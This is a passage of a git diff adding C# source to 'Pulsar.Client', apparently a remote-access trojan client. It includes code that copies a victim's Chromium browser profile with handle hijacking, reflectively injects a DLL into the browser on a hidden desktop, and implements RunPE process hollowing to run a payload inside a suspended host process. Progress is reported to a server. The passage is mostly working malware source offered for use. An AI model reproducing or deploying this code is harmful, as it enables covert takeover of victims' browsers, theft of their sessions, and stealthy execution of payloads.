"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"; + using (RegistryKey registryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(name2, true)) + { + if (registryKey != null) + { + object value = registryKey.GetValue(name); + if (value is uint) + { + uint num2 = (uint)value; + if (num2 != num) + { + registryKey.SetValue(name, num, RegistryValueKind.DWord); + } + } + } + } + string explorerPath = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\\explorer.exe /NoUACCheck"; + this.CreateProc(explorerPath); + } + + /// + /// Clones browser profile from SearchPattern to ReplacementPath. + /// Executes on a background thread to avoid blocking message processing. + /// + /// Relative path pattern (e.g., "Local\Google\Chrome\User Data") + /// Relative path for destination (e.g., "Local\Google\Chrome\KDOT") + private async Task CloneBrowserProfileAsync(string searchPattern, string replacementPath, string browserName = null) + { + BrowserCloneProgressSession progressSession = null; + Task completionTask = Task.CompletedTask; + CloneResult cloneResult = default; + + try + { + progressSession = await BrowserCloneProgressSession.TryCreateAsync(browserName).ConfigureAwait(false); + progressSession?.ReportPreparing(); + + CancellationToken cancellationToken = progressSession?.CancellationToken ?? CancellationToken.None; + + cloneResult = await Task.Run(() => CloneBrowserProfileInternal( + searchPattern, + replacementPath, + cancellationToken, + progressSession?.Progress)).ConfigureAwait(false); + + bool completedSuccessfully = cloneResult.Success && !cloneResult.Cancelled; + completionTask = progressSession?.ReportCompletionAsync(completedSuccessfully) ?? Task.CompletedTask; + + return cloneResult; + } + catch + { + completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask; + throw; + } + finally + { + await completionTask.ConfigureAwait(false); + progressSession?.Dispose(); + } + } + + private CloneResult CloneBrowserProfileInternal( + string searchPattern, + string replacementPath, + CancellationToken cancellationToken, + IProgress progress) + { + string localSearch = searchPattern; + string localReplacement = replacementPath; + + string baseDir; + if (localSearch.StartsWith("Local\\", StringComparison.OrdinalIgnoreCase)) + { + baseDir = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); + localSearch = localSearch.Substring(6); + localReplacement = localReplacement.Substring(6); + } + else if (localSearch.StartsWith("Roaming\\", StringComparison.OrdinalIgnoreCase)) + { + baseDir = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + localSearch = localSearch.Substring(8); + localReplacement = localReplacement.Substring(8); + } + else + { + Debug.WriteLine($"Invalid search pattern format: {localSearch}"); + return new CloneResult(false, false, string.Empty); + } + + string sourceDir = Path.Combine(baseDir, localSearch); + string destDir = Path.Combine(baseDir, localReplacement); + + try + { + cancellationToken.ThrowIfCancellationRequested(); + + UniversalDebugLogger.SendLogToServer($"Cloning browser profile from '{sourceDir}' to '{destDir}'"); + + if (!Directory.Exists(sourceDir)) + { + UniversalDebugLogger.SendLogToServer($"Source directory does not exist: {sourceDir}"); + return new CloneResult(false, false, destDir); + } + + if (Directory.Exists(destDir)) + { + UniversalDebugLogger.SendLogToServer($"Removing existing destination directory: {destDir}"); + DeleteFolder(destDir); + } + + cancellationToken.ThrowIfCancellationRequested(); + + UniversalDebugLogger.SendLogToServer("[BrowserClone] Using handle hijacking for locked files..."); + bool success = HandleHijacker.ForceCopyDirectory( + sourceDir, + destDir, + killIfFailed: false, + progress, + cancellationToken); + + if (success) + { + UniversalDebugLogger.SendLogToServer("[BrowserClone] Browser profile cloned successfully with handle hijacking."); + } + else + { + UniversalDebugLogger.SendLogToServer("[BrowserClone] Handle hijacking partial success, some files may be skipped."); + } + + return new CloneResult(success, false, destDir); + } + catch (OperationCanceledException) + { + UniversalDebugLogger.SendLogToServer("[BrowserClone] Operation cancelled by user."); + CleanupCancelledClone(destDir); + return new CloneResult(false, true, destDir); + } + catch (Exception ex) + { + UniversalDebugLogger.SendLogToServer($"Error cloning browser profile: {ex.Message}"); + CleanupCancelledClone(destDir); + throw; + } + } + + /// + /// Waits for a process to complete with a timeout + /// + /// Process information structure + /// Timeout in milliseconds (default 5000ms) + /// True if process completed within timeout, false otherwise + private bool WaitForProcessCompletion(PROCESS_INFORMATION processInfo, uint timeoutMs = 5000) + { + try + { + if (processInfo.hProcess == IntPtr.Zero) + return false; + + uint result = WaitForSingleObject(processInfo.hProcess, timeoutMs); + + CloseHandle(processInfo.hProcess); + CloseHandle(processInfo.hThread); + + return result == WAIT_OBJECT_0; + } + catch (Exception ex) + { + Debug.WriteLine($"Error waiting for process: {ex.Message}"); + return false; + } + } + + public async Task StartGenericChromiumAsync(byte[] dllbytes, string browserPath, string searchPattern, string replacementPath) + { + try + { + if (string.IsNullOrWhiteSpace(browserPath) || !File.Exists(browserPath)) + { + UniversalDebugLogger.SendLogToServer($"Generic Chromium browser executable not found at: {browserPath}"); + return; + } + + if (string.IsNullOrWhiteSpace(searchPattern) || string.IsNullOrWhiteSpace(replacementPath)) + { + UniversalDebugLogger.SendLogToServer("Search pattern and replacement path are required for generic Chromium browser."); + return; + } + + UniversalDebugLogger.SendLogToServer($"Starting Generic Chromium Browser: {browserPath}"); + UniversalDebugLogger.SendLogToServer($"Search Pattern: {searchPattern}"); + UniversalDebugLogger.SendLogToServer($"Replacement Path: {replacementPath}"); + + string processName = Path.GetFileNameWithoutExtension(browserPath); + string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {processName}.exe /F"; + + STARTUPINFO startupInfo = default(STARTUPINFO); + startupInfo.cb = Marshal.SizeOf(startupInfo); + startupInfo.lpDesktop = this.DesktopName; + startupInfo.dwX = 0; + startupInfo.dwY = 0; + startupInfo.dwFlags = STARTF_USEPOSITION; + PROCESS_INFORMATION processInfo = default(PROCESS_INFORMATION); + + UniversalDebugLogger.SendLogToServer($"Killing any existing {processName}.exe processes..."); + if (CreateProcess(null, killCommand, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref startupInfo, ref processInfo)) + { + UniversalDebugLogger.SendLogToServer($"Waiting for {processName}.exe processes to terminate..."); + WaitForProcessCompletion(processInfo, 5000); + } + else + { + UniversalDebugLogger.SendLogToServer("Failed to create taskkill process, using fallback delay."); + await Task.Delay(500).ConfigureAwait(false); + } + + string friendlyName = Path.GetFileNameWithoutExtension(browserPath); + if (string.IsNullOrWhiteSpace(friendlyName)) + { + friendlyName = "Chromium"; + } + + var cloneResult = await CloneBrowserProfileAsync(searchPattern, replacementPath, friendlyName).ConfigureAwait(false); + if (cloneResult.Cancelled) + { + UniversalDebugLogger.SendLogToServer("Generic Chromium profile cloning cancelled by user – skipping injection."); + return; + } + + try + { + await Task.Run(() => KDOTInjector.Start(dllbytes, browserPath, searchPattern, replacementPath)).ConfigureAwait(false); + UniversalDebugLogger.SendLogToServer($"Generic Chromium browser started successfully with reflective DLL injection."); + } + catch (Exception injectionEx) + { + UniversalDebugLogger.SendLogToServer($"Error during generic Chromium DLL injection: {injectionEx.Message}"); + } + } + catch (OperationCanceledException) + { + UniversalDebugLogger.SendLogToServer("Generic Chromium profile cloning cancelled by user."); + } + catch (Exception ex) + { + UniversalDebugLogger.SendLogToServer($"Error starting generic Chromium browser: {ex.Message}"); + } + } + + private string DesktopName; + + private struct STARTUPINFO + { + public int cb; + + public string lpReserved; + + public string lpDesktop; + + public string lpTitle; + + public int dwX; + + public int dwY; + + public int dwXSize; + + public int dwYSize; + + public int dwXCountChars; + + public int dwYCountChars; + + public int dwFillAttribute; + + public int dwFlags; + + public short wShowWindow; + + public short cbReserved2; + + public IntPtr lpReserved2; + + public IntPtr hStdInput; + + public IntPtr hStdOutput; + + public IntPtr hStdError; + } + + internal struct PROCESS_INFORMATION + { + public IntPtr hProcess; + + public IntPtr hThread; + + public int dwProcessId; + + public int dwThreadId; + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Helper/JsonHelper.cs b/Pulsar.Client/Helper/JsonHelper.cs new file mode 100644 index 0000000..9462d82 --- /dev/null +++ b/Pulsar.Client/Helper/JsonHelper.cs @@ -0,0 +1,46 @@ +using System.IO; +using System.Runtime.Serialization.Json; +using System.Text; + +namespace Pulsar.Client.Helper +{ + /// + /// Provides methods to serialize and deserialize JSON. + /// + public static class JsonHelper + { + /// + /// Serializes an object to the respectable JSON string. + /// + public static string Serialize(T o) + { + var s = new DataContractJsonSerializer(typeof(T)); + using (var ms = new MemoryStream()) + { + s.WriteObject(ms, o); + return Encoding.UTF8.GetString(ms.ToArray()); + } + } + + /// + /// Deserializes a JSON string to the specified object. + /// + public static T Deserialize(string json) + { + var s = new DataContractJsonSerializer(typeof(T)); + using (var ms = new MemoryStream(Encoding.UTF8.GetBytes(json))) + { + return (T)s.ReadObject(ms); + } + } + + /// + /// Deserializes a JSON stream to the specified object. + /// + public static T Deserialize(Stream stream) + { + var s = new DataContractJsonSerializer(typeof(T)); + return (T)s.ReadObject(stream); + } + } +} diff --git a/Pulsar.Client/Helper/NativeMethodsHelper.cs b/Pulsar.Client/Helper/NativeMethodsHelper.cs new file mode 100644 index 0000000..ab7cad3 --- /dev/null +++ b/Pulsar.Client/Helper/NativeMethodsHelper.cs @@ -0,0 +1,235 @@ +using Pulsar.Client.Utilities; +using System; +using System.Drawing; +using System.Runtime.InteropServices; +using System.Text; + +namespace Pulsar.Client.Helper +{ + public static class NativeMethodsHelper + { + private const int INPUT_MOUSE = 0; + private const int INPUT_KEYBOARD = 1; + + private const uint MOUSEEVENTF_LEFTDOWN = 0x0002; + private const uint MOUSEEVENTF_LEFTUP = 0x0004; + private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008; + private const uint MOUSEEVENTF_RIGHTUP = 0x0010; + private const uint MOUSEEVENTF_WHEEL = 0x0800; + private const uint KEYEVENTF_KEYDOWN = 0x0000; + private const uint KEYEVENTF_KEYUP = 0x0002; + + public const uint SWP_NOZORDER = 0x0004; + public const uint SWP_NOSIZE = 0x0001; + public const uint SWP_SHOWWINDOW = 0x0040; + [DllImport("user32.dll")] + public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); + + [DllImport("user32.dll", SetLastError = true)] + public static extern bool SetWindowPos( + IntPtr hWnd, IntPtr hWndInsertAfter, + int X, int Y, int cx, int cy, uint uFlags); + + public static void SetWindowPosition(IntPtr hWnd, int x, int y, int width, int height) + { + const uint SWP_NOZORDER = 0x0004; + const uint SWP_SHOWWINDOW = 0x0040; + SetWindowPos(hWnd, IntPtr.Zero, x, y, width, height, SWP_NOZORDER | SWP_SHOWWINDOW); + } + + public static uint GetLastInputInfoTickCount() + { + NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO(); + lastInputInfo.cbSize = (uint)Marshal.SizeOf(lastInputInfo); + lastInputInfo.dwTime = 0; + NativeMethods.GetLastInputInfo(ref lastInputInfo); + return lastInputInfo.dwTime; + } + + public static void DoMouseLeftClick(Point p, bool isMouseDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = 0, + dwFlags = isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + + /// + /// Moves a window to the specified screen bounds. + /// + /// Handle to the window. + /// The bounds of the target screen. + public static void MoveWindowToScreen(IntPtr hWnd, Rectangle bounds) + { + if (hWnd == IntPtr.Zero) + { + throw new ArgumentException("Window handle cannot be null.", nameof(hWnd)); + } + + bool result = NativeMethods.SetWindowPos(hWnd, IntPtr.Zero, bounds.X, bounds.Y, 0, 0, NativeMethodsHelper.SWP_NOZORDER | NativeMethodsHelper.SWP_NOSIZE); + if (!result) + { + throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error(), "Failed to move window to the specified screen."); + } + } + + public static void DoMouseRightClick(Point p, bool isMouseDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = 0, + dwFlags = isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + public static void DoMouseMove(Point p) + { + NativeMethods.SetCursorPos(p.X, p.Y); + } + + public static void DoMouseScroll(Point p, bool scrollDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = scrollDown ? -120 : 120, + dwFlags = MOUSEEVENTF_WHEEL, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + public static void DoKeyPress(byte key, bool keyDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_KEYBOARD, + u = new NativeMethods.InputUnion + { + ki = new NativeMethods.KEYBDINPUT + { + wVk = key, + wScan = 0, + dwFlags = keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + private const int SPI_GETSCREENSAVERRUNNING = 114; + + public static bool IsScreensaverActive() + { + var running = IntPtr.Zero; + + if (!NativeMethods.SystemParametersInfo( + SPI_GETSCREENSAVERRUNNING, + 0, + ref running, + 0)) + { + // Something went wrong (Marshal.GetLastWin32Error) + } + + return running != IntPtr.Zero; + } + + private const uint DESKTOP_WRITEOBJECTS = 0x0080; + private const uint DESKTOP_READOBJECTS = 0x0001; + private const int WM_CLOSE = 16; + private const uint SPI_SETSCREENSAVEACTIVE = 0x0011; + private const uint SPIF_SENDWININICHANGE = 0x0002; + + public static void DisableScreensaver() + { + var handle = NativeMethods.OpenDesktop("Screen-saver", 0, + false, DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS); + + if (handle != IntPtr.Zero) + { + NativeMethods.EnumDesktopWindows(handle, (hWnd, lParam) => + { + if (NativeMethods.IsWindowVisible(hWnd)) + NativeMethods.PostMessage(hWnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); + + // Continue enumeration even if it fails + return true; + }, + IntPtr.Zero); + NativeMethods.CloseDesktop(handle); + } + else + { + NativeMethods.PostMessage(NativeMethods.GetForegroundWindow(), WM_CLOSE, IntPtr.Zero, IntPtr.Zero); + } + + // We need to restart the counter for next screensaver according to + // https://support.microsoft.com/en-us/kb/140723 + // (this may not be needed since we simulate mouse click afterwards) + + var dummy = IntPtr.Zero; + + // Doesn't really matter if this fails + NativeMethods.SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1 /* true */, ref dummy, SPIF_SENDWININICHANGE); + + } + + public static string GetForegroundWindowTitle() + { + StringBuilder sbTitle = new StringBuilder(1024); + + NativeMethods.GetWindowText(NativeMethods.GetForegroundWindow(), sbTitle, sbTitle.Capacity); + + return sbTitle.ToString(); + } + } +} diff --git a/Pulsar.Client/Helper/RegistryKeyHelper.cs b/Pulsar.Client/Helper/RegistryKeyHelper.cs new file mode 100644 index 0000000..35b693f --- /dev/null +++ b/Pulsar.Client/Helper/RegistryKeyHelper.cs @@ -0,0 +1,158 @@ +using Microsoft.Win32; +using Pulsar.Client.Extensions; +using Pulsar.Common.Models; +using Pulsar.Common.Utilities; +using System; +using System.Collections.Generic; +using System.Linq; + +namespace Pulsar.Client.Helper +{ + public static class RegistryKeyHelper + { + private static string DEFAULT_VALUE = String.Empty; + + /// + /// Adds a value to the registry key. + /// + /// Represents the possible values for a top-level node on a foreign machine. + /// The path to the registry key. + /// The name of the value. + /// The value. + /// If set to True, adds quotes to the value. + /// True on success, else False. + public static bool AddRegistryKeyValue(RegistryHive hive, string path, string name, string value, bool addQuotes = false) + { + try + { + using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path)) + { + if (key == null) return false; + + if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\"")) + value = "\"" + value + "\""; + + key.SetValue(name, value); + return true; + } + } + catch (Exception) + { + return false; + } + } + + /// + /// Opens a read-only registry key. + /// + /// Represents the possible values for a top-level node on a foreign machine. + /// The path to the registry key. + /// + public static RegistryKey OpenReadonlySubKey(RegistryHive hive, string path) + { + try + { + return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, false); + } + catch + { + return null; + } + } + + /// + /// Deletes the specified value from the registry key. + /// + /// Represents the possible values for a top-level node on a foreign machine. + /// The path to the registry key. + /// The name of the value to delete. + /// True on success, else False. + public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string name) + { + try + { + using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path)) + { + if (key == null) return false; + key.DeleteValue(name, true); + return true; + } + } + catch (Exception) + { + return false; + } + } + + /// + /// Checks if the provided value is the default value + /// + /// The name of the value + /// True if default value, else False + public static bool IsDefaultValue(string valueName) + { + return String.IsNullOrEmpty(valueName); + } + + /// + /// Adds the default value to the list of values and returns them as an array. + /// If default value already exists this function will only return the list as an array. + /// + /// The list with the values for which the default value should be added to + /// Array with all of the values including the default value + public static RegValueData[] AddDefaultValue(List values) + { + if (!values.Any(value => IsDefaultValue(value.Name))) + { + values.Add(GetDefaultValue()); + } + return values.ToArray(); + } + + /// + /// Gets the default registry values + /// + /// A array with the default registry values + public static RegValueData[] GetDefaultValues() + { + return new[] { GetDefaultValue() }; + } + + public static RegValueData CreateRegValueData(string name, RegistryValueKind kind, object value = null) + { + var newRegValue = new RegValueData { Name = name, Kind = kind }; + + if (value == null) + newRegValue.Data = new byte[] { }; + else + { + switch (newRegValue.Kind) + { + case RegistryValueKind.Binary: + newRegValue.Data = (byte[])value; + break; + case RegistryValueKind.MultiString: + newRegValue.Data = ByteConverter.GetBytes((string[])value); + break; + case RegistryValueKind.DWord: + newRegValue.Data = ByteConverter.GetBytes((uint)(int)value); + break; + case RegistryValueKind.QWord: + newRegValue.Data = ByteConverter.GetBytes((ulong)(long)value); + break; + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + newRegValue.Data = ByteConverter.GetBytes((string)value); + break; + } + } + + return newRegValue; + } + + private static RegValueData GetDefaultValue() + { + return CreateRegValueData(DEFAULT_VALUE, RegistryValueKind.String); + } + } +} diff --git a/Pulsar.Client/Helper/RunPE.cs b/Pulsar.Client/Helper/RunPE.cs new file mode 100644 index 0000000..27ad2dd --- /dev/null +++ b/Pulsar.Client/Helper/RunPE.cs @@ -0,0 +1,520 @@ +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; + +namespace Pulsar.Client.Helper +{ + //Ai lowkey had to help with the 64 vs 32 bit shit I was lost. + public static class RunPE + { + private const uint CONTEXT_FULL = 0x10001F; + private const uint CONTEXT_INTEGER = 0x10002; + + [DllImport("kernel32.dll")] + public static extern uint ResumeThread(IntPtr hThread); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool Wow64SetThreadContext(IntPtr thread, int[] context); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool Wow64GetThreadContext(IntPtr thread, int[] context); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool CreateProcessA(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, + bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool IsWow64Process(IntPtr hProcess, out bool Wow64Process); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, out int lpNumberOfBytesRead); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + + [DllImport("ntdll.dll", SetLastError = true)] + static extern int ZwUnmapViewOfSection(IntPtr hProcess, IntPtr pBaseAddress); + + // For 32-bit compatibility + [DllImport("kernel32.dll", SetLastError = true)] + static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead); + + [DllImport("ntdll.dll", SetLastError = true)] + static extern int ZwUnmapViewOfSection(IntPtr process, int baseAddress); + + #region Structures + [StructLayout(LayoutKind.Sequential, Pack = 0x1)] + private struct ProcessInformation + { + public IntPtr ProcessHandle; + public IntPtr ThreadHandle; + public uint ProcessId; + public uint ThreadId; + } + + [StructLayout(LayoutKind.Sequential, Pack = 0x1)] + private struct StartupInformation + { + public uint Size; + private readonly string Reserved1; + private readonly string Desktop; + private readonly string Title; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 0x24)] private readonly byte[] Misc; + private readonly IntPtr Reserved2; + private readonly IntPtr StdInput; + private readonly IntPtr StdOutput; + private readonly IntPtr StdError; + } + + [StructLayout(LayoutKind.Sequential)] + public struct M128A + { + public ulong High; + public long Low; + } + + [StructLayout(LayoutKind.Sequential, Pack = 16)] + public struct XSAVE_FORMAT64 + { + public ushort ControlWord; + public ushort StatusWord; + public byte TagWord; + public byte Reserved1; + public ushort ErrorOpcode; + public uint ErrorOffset; + public ushort ErrorSelector; + public ushort Reserved2; + public uint DataOffset; + public ushort DataSelector; + public ushort Reserved3; + public uint MxCsr; + public uint MxCsr_Mask; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public M128A[] FloatRegisters; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public M128A[] XmmRegisters; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)] + public byte[] Reserved4; + } + + [StructLayout(LayoutKind.Sequential, Pack = 16)] + public struct CONTEXT64 + { + public ulong P1Home; + public ulong P2Home; + public ulong P3Home; + public ulong P4Home; + public ulong P5Home; + public ulong P6Home; + + public uint ContextFlags; + public uint MxCsr; + + public ushort SegCs; + public ushort SegDs; + public ushort SegEs; + public ushort SegFs; + public ushort SegGs; + public ushort SegSs; + public uint EFlags; + + public ulong Dr0; + public ulong Dr1; + public ulong Dr2; + public ulong Dr3; + public ulong Dr6; + public ulong Dr7; + + public ulong Rax; + public ulong Rcx; + public ulong Rdx; + public ulong Rbx; + public ulong Rsp; + public ulong Rbp; + public ulong Rsi; + public ulong Rdi; + public ulong R8; + public ulong R9; + public ulong R10; + public ulong R11; + public ulong R12; + public ulong R13; + public ulong R14; + public ulong R15; + + public ulong Rip; + + public XSAVE_FORMAT64 FltSave; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)] + public M128A[] VectorRegister; + public ulong VectorControl; + + public ulong DebugControl; + public ulong LastBranchToRip; + public ulong LastBranchFromRip; + public ulong LastExceptionToRip; + public ulong LastExceptionFromRip; + } + #endregion + + public static bool Execute(string hostPath, byte[] payload) + { + ProcessInformation pi = new ProcessInformation(); + + try + { + Debug.WriteLine($"[RunPE] Starting execution with host: {hostPath}"); + Debug.WriteLine($"[RunPE] Payload size: {payload.Length} bytes"); + + // Validate PE signature + if (payload.Length < 0x40 || payload[0] != 'M' || payload[1] != 'Z') + { + Debug.WriteLine("[RunPE] Invalid PE file - missing MZ signature"); + return false; + } + + StartupInformation si = new StartupInformation(); + si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation))); + + // CREATE_SUSPENDED | CREATE_NO_WINDOW + Debug.WriteLine("[RunPE] Creating suspended process..."); + if (!CreateProcessA(hostPath, string.Empty, IntPtr.Zero, IntPtr.Zero, false, 0x00000004 | 0x08000000, IntPtr.Zero, null, ref si, ref pi)) + { + int error = Marshal.GetLastWin32Error(); + Debug.WriteLine($"[RunPE] CreateProcessA failed with error: {error}"); + return false; + } + + Debug.WriteLine($"[RunPE] Process created successfully. PID: {pi.ProcessId}"); + + try + { + // Determine if target process is WOW64 (32-bit on 64-bit OS) + bool isTargetWow64 = false; + if (Environment.Is64BitOperatingSystem) + { + IsWow64Process(pi.ProcessHandle, out isTargetWow64); + } + Debug.WriteLine($"[RunPE] Target process is {(isTargetWow64 ? "32-bit (WOW64)" : "64-bit")}"); + + // Check payload architecture + int fileAddress = BitConverter.ToInt32(payload, 0x3C); + ushort machine = BitConverter.ToUInt16(payload, fileAddress + 4); + bool isPayload64Bit = (machine == 0x8664); + Debug.WriteLine($"[RunPE] Payload architecture: {(isPayload64Bit ? "x64" : "x86")} (Machine: 0x{machine:X})"); + + // Validate architecture compatibility + if (isPayload64Bit && isTargetWow64) + { + Debug.WriteLine("[RunPE] ERROR: Cannot inject 64-bit payload into 32-bit host!"); + return false; + } + + if (!isPayload64Bit && !isTargetWow64) + { + Debug.WriteLine("[RunPE] ERROR: Cannot inject 32-bit payload into 64-bit host!"); + return false; + } + + bool success; + if (isTargetWow64) + { + success = Execute32Bit(pi, payload, fileAddress); + } + else + { + success = Execute64Bit(pi, payload, fileAddress); + } + + if (success) + { + Debug.WriteLine("[RunPE] Resuming thread..."); + ResumeThread(pi.ThreadHandle); + Debug.WriteLine("[RunPE] Execution successful!"); + } + + return success; + } + catch (Exception ex) + { + Debug.WriteLine($"[RunPE] Exception during injection: {ex.Message}"); + if (pi.ProcessHandle != IntPtr.Zero) + TerminateProcess(pi.ProcessHandle, 1); + return false; + } + finally + { + if (pi.ProcessHandle != IntPtr.Zero) + CloseHandle(pi.ProcessHandle); + if (pi.ThreadHandle != IntPtr.Zero) + CloseHandle(pi.ThreadHandle); + } + } + catch (Exception ex) + { + Debug.WriteLine($"[RunPE] Outer exception: {ex.Message}"); + if (pi.ProcessHandle != IntPtr.Zero) + { + TerminateProcess(pi.ProcessHandle, 1); + CloseHandle(pi.ProcessHandle); + } + if (pi.ThreadHandle != IntPtr.Zero) + CloseHandle(pi.ThreadHandle); + return false; + } + } + + private static bool Execute32Bit(ProcessInformation pi, byte[] payload, int fileAddress) + { + Debug.WriteLine("[RunPE] Using 32-bit injection method..."); + + int[] context = new int[0xB3]; + context[0] = (int)CONTEXT_INTEGER; + + if (!Wow64GetThreadContext(pi.ThreadHandle, context)) + { + Debug.WriteLine($"[RunPE] Wow64GetThreadContext failed: {Marshal.GetLastWin32Error()}"); + return false; + } + + int ebx = context[0x29]; + Debug.WriteLine($"[RunPE] EBX: 0x{ebx:X}"); + + int readWrite = 0; + int baseAddress = 0; + if (!ReadProcessMemory(pi.ProcessHandle, ebx + 0x8, ref baseAddress, 0x4, ref readWrite)) + { + Debug.WriteLine($"[RunPE] ReadProcessMemory failed: {Marshal.GetLastWin32Error()}"); + return false; + } + + int imageBase = BitConverter.ToInt32(payload, fileAddress + 0x34); + Debug.WriteLine($"[RunPE] Original base: 0x{baseAddress:X}, Target base: 0x{imageBase:X}"); + + if (imageBase == baseAddress) + { + if (ZwUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0) + { + Debug.WriteLine("[RunPE] ZwUnmapViewOfSection failed"); + return false; + } + } + + int sizeOfImage = BitConverter.ToInt32(payload, fileAddress + 0x50); + int sizeOfHeaders = BitConverter.ToInt32(payload, fileAddress + 0x54); + + int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 0x3000, 0x40); + if (newImageBase == 0) + { + Debug.WriteLine($"[RunPE] VirtualAllocEx failed: {Marshal.GetLastWin32Error()}"); + return false; + } + + Debug.WriteLine($"[RunPE] Allocated at: 0x{newImageBase:X}"); + + if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, payload, sizeOfHeaders, ref readWrite)) + { + Debug.WriteLine("[RunPE] Failed to write headers"); + return false; + } + + short numberOfSections = BitConverter.ToInt16(payload, fileAddress + 0x6); + int sectionOffset = fileAddress + 0xF8; + + for (int i = 0; i < numberOfSections; i++) + { + int virtualAddress = BitConverter.ToInt32(payload, sectionOffset + 0xC); + int sizeOfRawData = BitConverter.ToInt32(payload, sectionOffset + 0x10); + int pointerToRawData = BitConverter.ToInt32(payload, sectionOffset + 0x14); + + Debug.WriteLine($"[RunPE] Section {i}: VA=0x{virtualAddress:X}, RawSize=0x{sizeOfRawData:X}, RawPtr=0x{pointerToRawData:X}"); + + if (sizeOfRawData > 0 && pointerToRawData > 0) + { + // Bounds check + if (pointerToRawData + sizeOfRawData > payload.Length) + { + Debug.WriteLine($"[RunPE] Warning: Section {i} data exceeds payload bounds, adjusting size"); + sizeOfRawData = 